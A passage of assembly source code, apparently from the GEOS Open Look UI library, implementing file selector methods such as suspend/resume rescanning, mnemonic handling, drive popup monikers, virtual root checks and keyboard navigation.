MSG_GEN_FILE_SELECTOR_SET_FILE_ATTRS MSG_GEN_FILE_SELECTOR_SET_TOKEN MSG_GEN_FILE_SELECTOR_SET_CREATOR MSG_GEN_FILE_SELECTOR_SET_GEODE_ATTR MSG_GEN_FILE_SELECTOR_SET_ATTRS MSG_GEN_FILE_SELECTOR_SET_FILE_CRITERIA CALLED BY: MSG_GEN_FILE_SELECTOR_SUSPEND PASS: *ds:si - OLFileSelector instance RETURN: carry clear if successful carry set if already suspended DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 04/08/91 Initial version brianc 4/91 Completed 2.0 revisions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFileSelectorSuspend method dynamic OLFileSelectorClass, \ MSG_GEN_FILE_SELECTOR_SUSPEND test ds:[di].OLFSI_state, mask OLFSS_SUSPENDED stc ; assume already suspended jnz done ; else, suspend ornf ds:[di].OLFSI_state, mask OLFSS_SUSPENDED done: ret OLFileSelectorSuspend endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFileSelectorEndSuspend %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: End suspension of file selector rescanning. File selector is rescanned with current attributes. CALLED BY: MSG_GEN_FILE_SELECTOR_END_SUSPEND PASS: *ds:si - OLFileSelector instance RETURN: carry clear if successful (file list rescanned) carry set if not suspended DESTROYED: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 04/08/91 Initial version brianc 4/91 Completed 2.0 revisions %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFileSelectorEndSuspend method dynamic OLFileSelectorClass, \ MSG_GEN_FILE_SELECTOR_END_SUSPEND test ds:[di].OLFSI_state, mask OLFSS_SUSPENDED stc ; assume not suspended jz done ; else, end suspension mov ax, ds:[di].OLFSI_state andnf ds:[di].OLFSI_state, not (mask OLFSS_SUSPENDED or \ mask OLFSS_RESCAN_NEEDED) test ax, mask OLFSS_RESCAN_NEEDED jz done mov ax, MSG_GEN_FILE_SELECTOR_RESCAN call ObjCallInstanceNoLock done: ret OLFileSelectorEndSuspend endm COMMENT @---------------------------------------------------------------------- FUNCTION: OLFileSelectorActivateObjectWithMnemonic -- MSG_SPEC_ACTIVATE_OBJECT_WITH_MNEMONIC handler DESCRIPTION: Looks at its vis moniker to see if its mnemonic matches that key currently pressed. PASS: *ds:si = instance data for object ax = MSG_SPEC_ACTIVATE_OBJECT_WITH_MNEMONIC cx = charValue dl = CharFlags CF_RELEASE - set if release CF_STATE - set if shift, ctrl, etc. CF_TEMP_ACCENT - set if accented char pending dh = ShiftState bp low = ToggleState (unused) bp high = scan code (unused) RETURN: carry set if found, clear otherwise DESTROYED: bx, si, di, ds, es PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 1/92 Initial version ------------------------------------------------------------------------------@ OLFileSelectorActivateObjectWithMnemonic method OLFileSelectorClass, \ MSG_SPEC_ACTIVATE_OBJECT_WITH_MNEMONIC call VisCheckIfFullyEnabled jnc noActivate ;XXX: skip if menu? call VisCheckMnemonic jnc noFSMatch ; ; mnemonic matches, give focus to list ; call OLFSDeref_SI_Spec_DI ; ds:di = OLFSI_* mov bx, ds:[di].OLFSI_uiBlock mov si, offset OLFileSelectorFileList mov ax, MSG_META_GRAB_FOCUS_EXCL sendMessage: mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage done: stc ;handled jmp short exit noFSMatch: ; ; remove hidden keyboard mnenonics, too easily conflicts with other mnemonics ; in window containing file selector - brianc 3/4/93 ; if 0 ; ; check if mnemonic matches "Open" or "Close" mnemonics ; cl = character ; ; XXX: update this if mnemonic for "Close" changes ; XXX: update this if mnemonic for "Open" changes ; cmp cl, 'r' je open cmp cl, 'R' jne notOpen open: mov ax, MSG_OL_FILE_SELECTOR_OPEN_DIR_BUTTON jmp short sendButtonMessage notOpen: cmp cl, 'l' je close cmp cl, 'L' jne notClose close: mov ax, MSG_OL_FILE_SELECTOR_CLOSE_DIR_BUTTON sendButtonMessage: call ObjCallInstanceNoLock jmp short done notClose: endif ; ; add in hidden mnemonic for drive popup, which loses mnemonic when changed ; to drive letter:[drive name] - brianc 3/28/93 ; ; no ChangeDrivePopup for WIZARDBA ; if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DRIVE_POPUP call OLFSDeref_SI_Gen_DI ; ds:di = GFSI_* test ds:[di].GFSI_attrs, mask FSA_HAS_CHANGE_DRIVE_LIST jz notDrivePopup LocalCmpChar cx, 'v' je openDrivePopup LocalCmpChar cx, 'V' jne notDrivePopup openDrivePopup: mov ax, MSG_GEN_ACTIVATE mov di, offset OLFileSelectorChangeDrivePopup call OLFSCallUIBlockGadget ;ax = entry number jmp short done notDrivePopup: endif noActivate: ; ; let superclass call children, since either were are not fully ; enabled, or our mnemonic doesn't match, superclass won't be ; activating us, just calling our children ; mov ax, MSG_SPEC_ACTIVATE_OBJECT_WITH_MNEMONIC mov di, offset OLFileSelectorClass call ObjCallSuperNoLock exit: Destroy ax, cx, dx, bp ret OLFileSelectorActivateObjectWithMnemonic endm ; ; miscellaneous byte-saving routines ; OLFSMemLock_ES proc near push ax call MemLock mov es, ax pop ax ret OLFSMemLock_ES endp OLFSDeref_SI_Gen_DI proc near EC < call ECCheckObject > mov di, ds:[si] add di, ds:[di].Gen_offset ret OLFSDeref_SI_Gen_DI endp OLFSDeref_SI_Spec_DI proc near EC < call ECCheckObject > mov di, ds:[si] add di, ds:[di].Vis_offset ret OLFSDeref_SI_Spec_DI endp ; ; pass: *ds:si = OLFileSelector ; return: ds:bx = GFS temp data ; OLFSFindTempData proc near uses ax .enter EC < call ECCheckObject > mov ax, TEMP_GEN_FILE_SELECTOR_DATA call ObjVarDerefData ; ds:bx = var data entry .leave ret OLFSFindTempData endp ; ; pass: ^lbx:si = gen object ; cx;dx = moniker text ; return: nothing ; if not SINGLE_DRIVE_DOCUMENT_DIR and (FSEL_HAS_CHANGE_DRIVE_POPUP or FSEL_HAS_CHANGE_DIRECTORY_POPUP) OLFSReplaceVisMonikerText proc near uses bp .enter mov bp, VUM_DELAYED_VIA_UI_QUEUE mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage .leave ret OLFSReplaceVisMonikerText endp endif ; ; pass: ; *ds:si = OLFileSelector ; return: ; cx = selection number ; destroyed: ; ax, bx, dx, di ; OLFSGetFileListSelection proc near uses bp ;save OLFileSelector chunk .enter mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION mov di, offset OLFileSelectorFileList call OLFSCallUIBlockGadget ;ax = entry number mov cx, ax ;cx = entry number .leave ret OLFSGetFileListSelection endp ; ; pass: ; *ds:si = OLFileSelector ; dx = TRUE to use current drive, FALSE to use "Change Drive" ; return: ; nothing ; destroyed: ; ax, bx, cx, dx, di ; if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DRIVE_POPUP OLFSUpdateChangeDrivePopupMoniker proc near uses es driveBuffer local FileLongName .enter ; ; don't bother if no change drive list ; call OLFSDeref_SI_Gen_DI test ds:[di].GFSI_attrs, mask FSA_HAS_CHANGE_DRIVE_LIST LONG jz done mov cx, segment olFileSelectorStaticDrivePopupMoniker mov es, cx tst es:[olFileSelectorStaticDrivePopupMoniker] LONG jnz useChangeDrive ; force "Change Drive" tst dx LONG jz useChangeDrive ; ; get moniker from current drive ; if HAVE_FAKE_FILE_SYSTEM test ds:[di].GFSI_fileCriteria, mask FSFC_USE_FAKE_FILE_SYSTEM LONG_EC jnz getFakeVolName endif call OLFSGetCurrentDrive ; bx = disk handle ; al = drive # segmov es, ss lea di, driveBuffer mov cx, size driveBuffer mov dx, mask SDAVNF_PASS_DISK_HANDLE call OLFSStuffDriveAndVolumeName ; ; before actually setting the moniker, let's see if the current ; moniker is already what we're going to set ; haveVolName: push si, es call OLFSDeref_SI_Spec_DI mov bx, ds:[di].OLFSI_uiBlock tst bx jz noUIBlock ; skip with match call ObjSwapLock mov ax, MSG_GEN_GET_VIS_MONIKER mov si, offset OLFileSelectorChangeDrivePopup push bp call ObjCallInstanceNoLock ; *ds:ax = moniker chunk pop bp tst ax jz haveResult ; no moniker, no match mov si, ax mov si, ds:[si] ; ds:si = VisMoniker test ds:[si].VM_type, mask VMT_GSTRING jnz haveResult ; is gstring, no match ChunkSizePtr ds, si, cx ; cx = VisMoniker size ; cx = size of text sub cx, size VisMoniker + size VMT_mnemonicOffset lea si, ds:[si].VM_data.VMT_text ; ds:si = null term'ed text segmov es, ss ; es:di = desired moniker lea di, driveBuffer repe cmpsb ; compare (Z set if match) haveResult: call ObjSwapUnlock ; preserves flags noUIBlock: pop si, es je afterSet ; match, don't set again mov cx, ss ; cx:dx = drive name vol name lea dx, driveBuffer mov ax, MSG_GEN_REPLACE_VIS_MONIKER_TEXT push bp mov bp, VUM_DELAYED_VIA_UI_QUEUE mov di, offset OLFileSelectorChangeDrivePopup call OLFSCallUIBlockGadget pop bp afterSet: call OLFSDeref_SI_Spec_DI ornf ds:[di].OLFSI_state, mask OLFSS_SHOWING_DRIVE_LETTER jmp short done if HAVE_FAKE_FILE_SYSTEM getFakeVolName: mov ax, MSG_GEN_FILE_SELECTOR_FAKE_VOLUME_NAME_GET mov dx, ss push bp lea bp, driveBuffer ; dx:bp = driveBuffer clr cx ; get the current drives volname call ObjCallInstanceNoLock pop bp tst ax jnz done ; this would be a minor failure.. do nothing mov es, dx jmp haveVolName endif ;HAVE_FAKE_FILE_SYSTEM useChangeDrive: call OLFSDeref_SI_Spec_DI test ds:[di].OLFSI_state, mask OLFSS_SHOWING_DRIVE_LETTER jz done ; already showing change drive mov cx, handle ChangeDriveMoniker mov dx, offset ChangeDriveMoniker ; ^lcx:dx = "Change Drive" mkr mov ax, MSG_GEN_REPLACE_VIS_MONIKER_OPTR push bp mov bp, VUM_DELAYED_VIA_UI_QUEUE mov di, offset OLFileSelectorChangeDrivePopup call OLFSCallUIBlockGadget pop bp call OLFSDeref_SI_Spec_DI andnf ds:[di].OLFSI_state, not mask OLFSS_SHOWING_DRIVE_LETTER done: .leave ret OLFSUpdateChangeDrivePopupMoniker endp endif ; ; pass: ; *ds:si = OLFileSelector ; returned: ; bx = disk handle ; al = drive number ; destroyed: ; ah ; if not SINGLE_DRIVE_DOCUMENT_DIR and (FSEL_HAS_CHANGE_DRIVE_POPUP or FSEL_HAS_CHANGE_DIRECTORY_POPUP) OLFSGetCurrentDrive proc near mov ax, ATTR_GEN_PATH_DATA mov dx, TEMP_GEN_PATH_SAVED_DISK_HANDLE call GenPathFetchDiskHandleAndDerefPath ; ax = disk handle ; ds:bx = GenFilePath mov bx, ax ; bx = disk handle call DiskGetDrive ; al = drive # ret OLFSGetCurrentDrive endp endif ; ; pass: ; *ds:si = OLFileSelector ; dx = TRUE if at root, FALSE if not ; return: ; nothing ; destroyed: ; ax, bx, cx, dx, di ; if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DIRECTORY_POPUP OLFSDisableCloseAndChangeDirectoryButtonsIfFirstEntryAndIsRoot proc near uses bp .enter call OLFSDeref_SI_Spec_DI ; ds:di = spec instance ; showing parent dir? test ds:[di].OLFSI_state, mask OLFSS_SHOW_PARENT_DIR jz firstEntry ; no, always check root push dx call OLFSGetFileListSelection ; cx = entry number pop dx jcxz firstEntry enableClose: mov ax, MSG_GEN_SET_ENABLED jmp short haveMessage firstEntry: ; ; first selected, disable if either at root or at virtual root ; (possible failure to set 'atRoot' correctly in the case where ; we have a virtual root (in the OLFSShowCurrentDir routine) requires ; us to check for the virtual root case first) ; call OLFSIsCurDirVirtualRoot ; at virtual root? jc disableClose ; yes, disable tst dx ; at root? jz enableClose ; no, enable disableClose: mov ax, MSG_GEN_SET_NOT_ENABLED haveMessage: mov dl, VUM_DELAYED_VIA_UI_QUEUE mov di, offset OLFileSelectorChangeDirectoryPopup call OLFSCallUIBlockGadget .leave ret OLFSDisableCloseAndChangeDirectoryButtonsIfFirstEntryAndIsRoot endp endif ; ; pass: ; *ds:si = file selector ; dx = current path disk handle ; es:di = current path tail ; return: ; nothing ; destroyed: ; ax, bx, cx, dx, di, es ; if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_DOCUMENT_BUTTON OLFSDisableDocButtonIfDocDir proc near uses bp .enter push ds, si mov cx, SP_DOCUMENT ; cx = document disk handle ; changed to work for both xip and not xip ; segmov ds, cs ; ds:si = document path ; mov si, offset nullPath clr si mov ds, si ; ds = 0 means nullPath compare: if _ISUI call OLFSFileComparePathsEvalLinks else call FileComparePaths ; al = PathCompareType endif pop ds, si cmp al, PCT_EQUAL ; document dir? mov ax, MSG_GEN_SET_ENABLED ; assume not doc dir jne haveMessage ; nope --> enable mov ax, MSG_GEN_SET_NOT_ENABLED ; else, disable haveMessage: mov dl, VUM_DELAYED_VIA_UI_QUEUE mov di, offset OLFileSelectorDocumentButton call OLFSCallUIBlockGadget .leave ret OLFSDisableDocButtonIfDocDir endp endif LocalDefNLString nullPath <0> if _FILE_TABLE ; ; pass: ; ^lbx:si = Table object ; cx = selection number ; return: ; nothing ; destroyed: ; ax, di (bx, cx, dx allowed) ; OLFSSetFileTableSelection proc near mov ax, MSG_JTABLE_SCROLL_SELECT_ROW mov di, mask MF_FIXUP_DS call ObjMessage ret OLFSSetFileTableSelection endp endif ; ; pass: ; ^lbx:si = GenItemGroup ; cx = selection number ; (if RUDY, *ds:dx = OLFileSelector) ; return: ; nothing ; destroyed: ; ax, cx, bx, dx, di ; OLFSSetGenItemSelection proc near uses bp ;save whatever is in bp .enter ; Assert objectOD bxsi, GenItemGroupClass clr dx ;not indeterminate mov di, mask MF_CALL or mask MF_FIXUP_DS mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION call ObjMessage .leave ret OLFSSetGenItemSelection endp ; ; pass: ; *ds:si = OLFileSelector ; di = chunk handle of OLFSI_uiBlock gadget to call ; ax, cx, dx, bp = message data ; return: ; ax, cx, dx, bp = message return values ; destroyed: ; bx, di ; OLFSCallUIBlockGadget proc near uses si .enter push di call OLFSDeref_SI_Spec_DI mov bx, ds:[di].OLFSI_uiBlock ; ^lbx:si = gadget pop si mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage .leave ret OLFSCallUIBlockGadget endp StuffDriveAndVolumeNameFlags record SDAVNF_PASS_DISK_HANDLE:1 ; set if disk handle is passed ; clear to generate disk handle SDAVNF_VOLUME_ONLY_FOR_FIXED:1 ; set if volume names should ; only be generated for ; non-removable media SDAVNF_TRAILING_SLASH:1 ; set to add trialing slash StuffDriveAndVolumeNameFlags end ; ; pass: ; es:di = buffer for drive and volume name ; cx = size of buffer ; al = drive # ; dx = StuffDriveAndVolumeNameFlags ; ah = DriveStatus (if SDAVNF_VOLUME_ONLY_FOR_FIXED) ; bx = disk handle (if SDAVNF_PASS_DISK_HANDLE) ; return: ; es:di = points at null-terminator at end of as much info as will fit ; into buffer ; destroyed: ; ax, cx ; OLFSStuffDriveAndVolumeName proc near uses bx .enter SBCS < mov {byte} es:[di], 0 ; in case not enough room > DBCS < mov {wchar}es:[di], 0 ; in case not enough room > if SINGLE_DRIVE_DOCUMENT_DIR SBCS < dec cx ; for the NULL > DBCS < sub cx, size wchar ; for the NULL > else call DriveGetName ; fill in drive name ; es:di = points at null ; cx = bytes remaining in buffer jc noMoreRoom ; not enough room SBCS < cmp cx, 2 ; want to put ':' and null > DBCS < cmp cx, 2*(size wchar) ; want to put ':' and null > jb noMoreRoom SBCS < mov {byte} es:[di], ':' ; (preserve al) > DBCS < mov {wchar} es:[di], ':' ; (preserve ax) > LocalNextChar esdi SBCS < mov {byte} es:[di], 0 ; leave di at null > DBCS < mov {wchar}es:[di], 0 ; leave di at null > SBCS < sub cx, 2 > DBCS < sub cx, 2*(size wchar) > endif test dx, mask SDAVNF_VOLUME_ONLY_FOR_FIXED ; only for fixed disks? jz stuffVolume ; no, for all test ah, mask DS_MEDIA_REMOVABLE ; fixed disk? jnz afterVolumeName ; no, skip volume name ; ; Even if it's not removable, we don't want to get the volume ; name unless it's a medium we're sure about (Interlink ; drives, for example are DRIVE_UNKNOWN). ; andnf ah, mask DS_TYPE cmp ah, DRIVE_FIXED shl offset DS_TYPE jne afterVolumeName stuffVolume: test dx, mask SDAVNF_PASS_DISK_HANDLE ; do we have disk handle? jnz haveDiskHandle call DiskRegisterDiskSilently jc afterVolumeName ; error, just skip volume name haveDiskHandle: SBCS < cmp cx, VOLUME_NAME_LENGTH+3 ; '[' + name + ']' + null > DBCS < cmp cx, (VOLUME_NAME_LENGTH+3)*2 ; '[' + name + ']' + null > jb noMoreRoom LocalLoadChar ax, '[' LocalPutChar esdi, ax call DiskGetVolumeName ; leaves es:di at beginning ; leaves cx alone SBCS < clr al ; find null-terminator > DBCS < clr ax ; find null-terminator > LocalFindChar ; repne scasb/scasw LocalPrevChar esdi ; point at null LocalLoadChar ax, ']' LocalPutChar esdi, ax SBCS < mov {byte} es:[di], 0 ; leave di at null > DBCS < mov {wchar}es:[di], 0 ; leave di at null > SBCS < sub cx, 3 ; account for '[', ']', etc. > DBCS < sub cx, 3*(size wchar) ; account for '[', ']', etc. > afterVolumeName: test dx, mask SDAVNF_TRAILING_SLASH jz done SBCS < cmp cx, 2 ; want to put '\' and null > DBCS < cmp cx, 2*(size wchar) ; want to put '\' and null > jb noMoreRoom mov {word} es:[di], '\\' or (0 shl 8) ; leave di at null DBCS < mov {wchar}es:[di][2], 0 > noMoreRoom: done: .leave ret OLFSStuffDriveAndVolumeName endp ; ; pass: ; *ds:si = OLFileSelector ; return: ; nothing ; destroyed: ; ax, bx, cx, dx, di ; if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DRIVE_POPUP OLFSSelectCurrentDriveInChangeDrivePopup proc near uses bp .enter ; ; don't bother if no change drive list ; call OLFSDeref_SI_Gen_DI test ds:[di].GFSI_attrs, mask FSA_HAS_CHANGE_DRIVE_LIST jz done call OLFSGetCurrentDrive ; bx = disk handle ; al = drive # call DriveGetStatus ; ah = DriveStatus ;EC < ERROR_C OL_ERROR > ;if the drive is invalid, just leave whatever we have on the assumption ;that this could only occur if the drive was removed since the last time ;we built the change-drive popup list and that we'll be getting a ;META_REMOVING_DISK soon that will clean things up - brianc 6/16/93 jc done mov cx, ax ; cx = cur drive identifier push cx ; save it mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr dx ; not indeterminate mov di, offset OLFileSelectorChangeDrivePopup call OLFSCallUIBlockGadget pop cx ; cx = cur drive identifier jnc done ; item not found, give up ; ; set moniker correctly ; call OLFSDeref_SI_Spec_DI ; ds:di = specific instance mov dx, TRUE ; assume using current drive test ds:[di].OLFSI_state, mask OLFSS_SHOWING_DRIVE_LETTER jnz haveFlag mov dx, FALSE haveFlag: call OLFSUpdateChangeDrivePopupMoniker done: .leave ret OLFSSelectCurrentDriveInChangeDrivePopup endp endif ; ; pass: ; *ds:si = OLFileSelector ; bx = ui block ; return: ; nothing ; destroys: ; ax, cx, dx, bp, di ; OLFSTurnOffGadgetry proc near uses si .enter call OLFSDeref_SI_Gen_DI ; ds:di = generic instance mov ax, ds:[di].GFSI_attrs ; ax = FileSelectorAttrs if FSEL_HAS_DOCUMENT_BUTTON test ax, mask FSA_HAS_DOCUMENT_BUTTON mov si, offset OLFileSelectorDocumentButton call OLFSSetUsableOnFlags endif if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DIRECTORY_POPUP test ax, mask FSA_HAS_CHANGE_DIRECTORY_LIST mov si, offset OLFileSelectorChangeDirectoryPopup call OLFSSetUsableOnFlags endif if not SINGLE_DRIVE_DOCUMENT_DIR and FSEL_HAS_CHANGE_DRIVE_POPUP test ax, mask FSA_HAS_CHANGE_DRIVE_LIST mov si, offset OLFileSelectorChangeDrivePopup call OLFSSetUsableOnFlags endif test ax, mask FSA_HAS_FILE_LIST mov si, offset OLFileSelectorFileList call OLFSSetUsableOnFlags .leave ret OLFSTurnOffGadgetry endp ; ; pass: ; ^lbx:si = gadget to set usable/not usable ; Z flag = 0 to set usable, 1 to set not usable ; return: ; nothing ; destroyed: ; cx, dx, di, bp ; OLFSSetUsableOnFlags proc near uses ax .enter mov ax, MSG_GEN_SET_USABLE jnz haveUsableMsg mov ax, MSG_GEN_SET_NOT_USABLE haveUsableMsg: mov dl, VUM_DELAYED_VIA_UI_QUEUE mov di, mask MF_CALL or mask MF_FIXUP_DS call ObjMessage .leave ret OLFSSetUsableOnFlags endp ; ; pass: ; *ds:si = OLFileSelector ; return: ; carry set if current directory is virtual root ; destroyed: ; nothing ; OLFSIsCurDirVirtualRoot proc near if 0 ;this code isn't working right uses ax, bx, cx, ds, si curPathStart local 2 dup (char) else uses ax endif .enter if 0 ; ; The normal version of this routine takes up to 10 seconds to complete ; on Redwood, apparently because B: and A: are being compared and some ; (slow?) BIOS calls happen. Anyway, in Redwood we know we're always ; on the B: drive, and that the root is SP_DOCUMENT, so we'll check for ; that instead. 6/ 4/94 cbh (Nuked code, maybe not necessary and ; doesn't work right.) ; mov cx, size curPathStart segmov ds, ss, si lea si, curPathStart call FileGetCurrentPath cmp curPathStart+1, 0 ;no path length, done (z=1) else call OLFSIsCurDirVirtualRootOrUnderVirtualRoot jnc done ; not v.root nor under v.root cmp al, PCT_EQUAL endif stc ; assumme is v.root je done ; yes, done clc ; else, indicate not done: .leave ret OLFSIsCurDirVirtualRoot endp ; ; pass: ; *ds:si = OLFileSelector ; return: ; carry set if current directory is virtual root or a subdirectory ; under the virtual root ; al = PCT_EQUAL or PCT_SUBDIR ; destroyed: ; ah ; OLFSIsCurDirVirtualRootOrUnderVirtualRoot proc near uses bx, cx, dx, es, di, si, bp .enter call OLFSHaveVirtualRoot jnc done ; no virtual root call OLFSGetCurDir ; dx = cur dir StdPath ; es:di = cur dir tail ; (do 1st b/c obj block motion) call OLFSGetVirtualRoot ; cx = v.root StdPath ; ds:si = v.root tail EC < ERROR_NC OL_ERROR ; no virtual root!?? > if _ISUI call OLFSFileComparePathsEvalLinks else call FileComparePaths ; al = PathCompareType endif cmp al, PCT_EQUAL stc ; assume so je done cmp al, PCT_SUBDIR stc ; assume so je done clc ; else, indicate cur dir is not ; v.root or a subdir of done: .leave ret OLFSIsCurDirVirtualRootOrUnderVirtualRoot endp ; ; pass: ; *ds:si = OLFileSelector ; return: ; carry clear if no virtual path ; carry set if virtual path found ; cx = best virtual root standard path ; ds:si = best virtual root tail ; destroyed: ; nothing ; OLFSGetVirtualRoot proc near uses ax, bx, dx, di, es .enter call OLFSHaveVirtualRoot jnc done ; not found, no virtual root mov cx, ds:[bx].GFP_disk ; cx = virtual root StdPath lea si, ds:[bx].GFP_path ; ds:si virtual root tail stc ; indicate have virtual root done: .leave ret OLFSGetVirtualRoot endp ; ; pass: ; *ds:si = OLFileSelector ; return: ; carry set if have virtual root ; ds:bx = GenFilePath ; destroyed: ; bx - if carry clear ; OLFSHaveVirtualRoot proc near uses ax, di .enter call OLFSDeref_SI_Gen_DI ; ds:di = generic instance test ds:[di].GFSI_attrs, mask FSA_USE_VIRTUAL_ROOT jz done ; exit w/ carry clear mov ax, ATTR_GEN_FILE_SELECTOR_VIRTUAL_ROOT call ObjVarFindData ; carry set if found done: .leave ret OLFSHaveVirtualRoot endp ; ; pass: ; *ds:si = OLFileSelector ; return: ; dx = best current directory standard path ; es:di = current directory path tail w/best standard path ; destroyed: ; nothing (can cause object block motion) ; OLFSGetCurDir proc near uses ax, bx, cx .enter mov ax, ATTR_GEN_PATH_DATA mov dx, TEMP_GEN_PATH_SAVED_DISK_HANDLE call GenPathFetchDiskHandleAndDerefPath ; ax = disk handle ; ds:bx = GenFilePath segmov es, ds ; es:di = path tail lea di, ds:[bx].GFP_path mov dx, ax ; dx = disk handle .leave ret OLFSGetCurDir endp ; ; pass: ; *ds:si = OLFileSelector ; return: ; nothing ; destroyed: ; ax, cx, dx, di, bp ; HandleScalableUIData proc near uses bx, si .enter mov ax, HINT_FILE_SELECTOR_SCALABLE_UI_DATA call ObjVarFindData ; ds:bx = data jnc done ; no hint VarDataSizePtr ds, bx, di ; di = size mov ax, MSG_GEN_APPLICATION_GET_APP_FEATURES call GenCallApplication ; ax = features, dx = UI level mov si, ds:[si] add si, ds:[si].Gen_offset ; ds:si = generic instance ; ; evaluate ; ax = features in application ; dx = UI level ; ds:bx = ptr to current GenFileSelectorScalableUIEntry ; di = size of all GenFileSelectorScalableUIEntry ; ds:si = generic instance ; scanLoop: push ax ; save app features mov cl, ds:[bx].GFSSUIE_command ; ax = command cmp cl, GFSSUIC_SET_FEATURES_IF_APP_FEATURE_OFF je setIfAppFeatureOff cmp cl, GFSSUIC_ADD_FEATURES_IF_APP_FEATURE_ON je addIfAppFeatureOn cmp cl, GFSSUIC_SET_FEATURES_IF_APP_LEVEL je setIfAppLevel cmp cl, GFSSUIC_ADD_FEATURES_IF_APP_LEVEL je addIfAppLevel cmp cl, GFSSUIC_SET_FEATURES_IF_APP_FEATURE_ON EC < ERROR_NE OL_ERROR > NEC < jne short next > setIfAppFeatureOn: test ax, ds:[bx].GFSSUIE_appFeature jz next setFeature: mov ax, ds:[bx].GFSSUIE_fsFeatures mov ds:[si].GFSI_attrs, ax jmp short next setIfAppFeatureOff: test ax, ds:[bx].GFSSUIE_appFeature jz setFeature jmp short next addIfAppFeatureOn: test ax, ds:[bx].GFSSUIE_appFeature jz next addFeature: mov ax, ds:[bx].GFSSUIE_fsFeatures ornf ds:[si].GFSI_attrs, ax jmp short next setIfAppLevel: cmp dx, ds:[bx].GFSSUIE_appFeature jae setFeature jmp short next addIfAppLevel: cmp dx, ds:[bx].GFSSUIE_appFeature jae addFeature next: pop ax ; restore app features add bx, size GenFileSelectorScalableUIEntry sub di, size GenFileSelectorScalableUIEntry jnz scanLoop done: .leave ret HandleScalableUIData endp ; ; handlers for OLFSDynamicListClass ; COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFSDynamicListKbdChar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: handle keyboard navigation CALLED BY: MSG_META_KBD_CHAR, MSG_META_FUP_KBD_CHAR PASS: *ds:si = OLFSDynamicListClass object ds:di = OLFSDynamicListClass instance data es = segment of OLFSDynamicListClass ax = MSG_META_KBD_CHAR, MSG_META_FUP_KBD_CHAR cx = character value dl = CharFlags dh = ShiftState bp low = ToggleState bp high = scan code RETURN: nothing ALLOWED TO DESTROY: ax, cx, dx, bp bx, si, di, ds, es SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 1/29/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFSDynamicListKbdChar method dynamic OLFSDynamicListClass, MSG_META_KBD_CHAR, MSG_META_FUP_KBD_CHAR ; don't want this stuff test dl, mask CF_RELEASE or mask CF_STATE_KEY or mask CF_TEMP_ACCENT jnz callSuper SBCS < cmp cx, (CS_BSW shl 8) or VC_BLANK ; space? > DBCS < cmp cx, C_SPACE ; space? > jne callSuper ; nope, don't care about it ; ; space -> like double-clicking on focus item ; doSelect:: push ax, cx, dx, bp mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION call ObjCallInstanceNoLock ; ax = identifier mov di, ax ; di = identifier pop ax, cx, dx, bp cmp di, GIGS_NONE je callSuper ; no selection, skip push si mov cx, di ; cx = selection mov ax, MSG_OL_FILE_SELECTOR_DOUBLE_PRESS mov bx, segment OLFileSelectorClass mov si, offset OLFileSelectorClass mov di, mask MF_RECORD call ObjMessage ; di = event pop si mov cx, di ; cx = event mov ax, MSG_GEN_GUP_CALL_OBJECT_OF_CLASS GOTO ObjCallInstanceNoLock callSuper: mov di, offset OLFSDynamicListClass GOTO ObjCallSuperNoLock OLFSDynamicListKbdChar endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFSCheckIfInteractableObject %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: This is called when a UserDoDialog is on the screen, to see if the passed object can get events. CALLED BY: GLOBAL PASS: cx:dx - object RETURN: carry set if in child block DESTROYED: nada PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- atw 1/22/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFSCheckIfInteractableObject method dynamic OLFileSelectorClass, MSG_META_CHECK_IF_INTERACTABLE_OBJECT .enter cmp cx, 